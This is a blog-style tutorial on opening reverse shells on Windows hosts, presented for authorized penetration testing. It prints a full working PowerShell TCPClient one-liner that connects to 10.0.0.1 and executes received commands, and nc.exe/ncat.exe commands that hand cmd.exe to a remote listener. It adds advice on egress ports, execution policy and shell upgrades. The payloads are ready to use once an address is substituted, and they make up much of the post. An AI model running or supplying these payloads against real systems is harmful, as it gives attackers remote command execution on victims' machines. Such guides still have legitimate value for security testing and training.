Windows Reverse Shell: PowerShell, nc.exe, and a Real TTY

Reverse shells on Windows follow the same principle as on Linux — the target connects out to your listener — but the tooling and the quality of the resulting shell differ sharply. There is no /dev/tcp, nc is rarely preinstalled, and a naive shell gives you a console that fights you. This post covers the realistic options for an authorized Windows engagement.

PowerShell Is the Default

PowerShell is on every modern Windows host and can open a socket natively, so it is the usual first payload. The standard TCPClient one-liner connects back, reads commands from the stream, runs them, and writes output back:

$c=New-Object System.Net.Sockets.TCPClient("10.0.0.1",443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|Out-String);$r=$o+"PS "+(pwd).Path+"> ";$w=([Text.Encoding]::ASCII).GetBytes($r);$s.Write($w,0,$w.Length);$s.Flush()}

It is verbose because PowerShell has no socket-to-shell shortcut — you implement the read/eval/write loop yourself. The mechanics, encoding choices, and common failure points are covered in depth in reverse shells with PowerShell. Your listener stays the familiar nc -lvnp 443.

Dropping nc.exe or ncat.exe

If you can write a file to the target, a static nc.exe or ncat.exe gives you the same simple model as Linux:

nc.exe 10.0.0.1 443 -e cmd.exe
ncat.exe 10.0.0.1 443 --ssl --exec cmd.exe

The trade-off is that you are now putting a binary on disk, which is more detectable and more invasive than a fileless PowerShell call. On a monitored host, prefer the native approach. As always with --ssl, both ends must match (see choosing a listener).

The Shell You Get Is Painful — Fix It

A basic Windows reverse shell has no command history, no arrow keys, no tab completion, and breaks on any program that expects a real console (interactive prompts, runas, anything curses-like). On Windows the equivalent of a Linux TTY upgrade is a ConPTY-based shell, which attaches your session to a genuine pseudo-console so interactive tooling works. It is the Windows analogue of the pty.spawn/stty dance described in upgrading a reverse shell — different implementation, same goal: stop fighting a half-shell.

Why Yours Isn't Connecting

Constrained Language Mode / execution policy can blunt the PowerShell payload — confirm what the host allows.
Egress filtering — Windows enterprise networks often allow only 443/80 outbound; prefer those.
Encoding — Windows console encoding mismatches garble output; the PowerShell guide covers this.
Listener mismatch — verify with choosing a listener.

General checklist: why reverse shells fail.

Generate the Windows Payload

The reverse shell generator builds the PowerShell TCPClient one-liner (and the nc.exe/ncat.exe forms) with your LHOST/LPORT filled in and the matching listener alongside — so you can focus on the host's constraints, not the syntax.

Authorized Testing Only

Use these techniques only on Windows systems you own or are explicitly authorized to assess. Nothing here is about evading defenses on systems you do not have permission to touch; the legitimacy comes entirely from the authorization.